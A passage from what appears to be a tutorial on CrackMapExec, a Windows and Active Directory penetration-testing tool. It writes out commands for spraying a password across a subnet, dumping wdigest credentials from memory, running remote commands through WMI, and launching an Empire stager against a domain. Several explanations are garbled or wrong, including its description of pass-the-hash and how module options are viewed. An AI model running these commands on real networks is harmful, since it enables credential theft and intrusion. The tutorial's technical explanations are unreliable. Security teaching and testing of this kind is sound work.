crackmapexec 192.168.1.0/24 -u administrator -p 'p@ssw0rd'

Here, 192.168.1.0/24 specifies the network range. The -u and -p flags denote the username and password, respectively. Remember, knowing the password isn’t always necessary; CME can brute force passwords if needed.

Another example could involve a more specific target range, like:

crackmapexec 192.168.1.0-28 10.0.0.1-67 -u admin -p 'p@ssw0rd'

Or targeting a domain:

crackmapexec ms.evilcorp.org -u admin -p 'p@ssw0rd'

These examples illustrate CME’s flexibility in targeting different network segments or specific domains.

Credential Management in CME

Credential management is a critical part of using CME. It involves using correct usernames and passwords (like -u administrator -p 'password') to authenticate against target systems. CME also allows for password policy checks and can even perform wdigest credential dumping (using the wdigest module) to obtain plaintext passwords from memory.

Example:

crackmapexec 192.168.1.0/24 -u admin -p 'p@ssw0rd' -M wdigest

This command attempts to dump wdigest credentials from the specified network range.

Running Modules in CME

CME comes packed with various modules. For instance, the wmiexec and atexec modules allow command execution via WMI and the Windows Task Scheduler, respectively. Using these modules can be as simple as:

crackmapexec 192.168.1.0/24 -u admin -p 'p@ssw0rd' -M wmiexec -o COMMAND='whoami'

Here, -M specifies the module, and -o sets module options, in this case, the command to execute.

Viewing and Using Module Options

Each module in CME has its own set of options. To view these, you can use the -o flag. For example, to see options for the wmiexec module:

crackmapexec -M wmiexec -o

You can also use the -o flag to set specific options for a module, such as setting a command to execute or defining a file to upload.

Accessing Sessions and Obtaining Shells

CME can establish sessions on remote systems, similar to how Metasploit’s Meterpreter works. For example, you can use the empire_exec module to execute a stager for the specified listener and execute Meterpreter sessions.

crackmapexec 192.168.1.0/24 -u admin -p 'p@ssw0rd' -M empire_exec -o LISTENER=http

This command would execute an Empire stager on the target machines, potentially leading to Meterpreter sessions.

In summary, CME is a powerful tool used in penetration testing to assess network security. Its ability to manage credentials, run various modules, and obtain sessions on remote systems makes it a must-have in any security professional’s toolkit.

Moreover, creating a cheatsheet for your custom modules can be a great way to remember the specific commands and parameters that you frequently use, saving time and increasing productivity.

Exploiting Active Directory Features with CME

Active Directory (AD) is a critical component of many networks, and CME offers specialized tools for interacting with it. By exploiting AD features, you can perform tasks like privilege escalation or obtain sensitive information from a domain controller.

For example, using CME in a Capture the Flag (CTF) scenario, where you need to gain access to a domain controller like ms.evilcorp.org, can be a real game-changer. CME allows you to employ techniques such as pass-the-hash (-p password) to authenticate as a user with the hash of their password (p@ssw0rd), without needing the plaintext password.

Leveraging CME for Offensive and Defensive Purposes

CME is not just a tool for offensive security professionals. In the hands of a defensive team, CME can be used to simulate attacks on their own networks, thereby identifying vulnerabilities before they are exploited by actual attackers.

For instance, by understanding how CME can be used to execute a payload in memory (memory using), defensive teams can better prepare their networks to detect and prevent such attacks. This is essential for maintaining a robust security posture in an ever-evolving threat landscape.

Integrating CME with Other Tools and Frameworks

Integration is key in the world of cybersecurity, and CME excels in this area. Its ability to work alongside other tools, such as Metasploit, and its compatibility with RESTful APIs make it an invaluable component of any security toolkit.
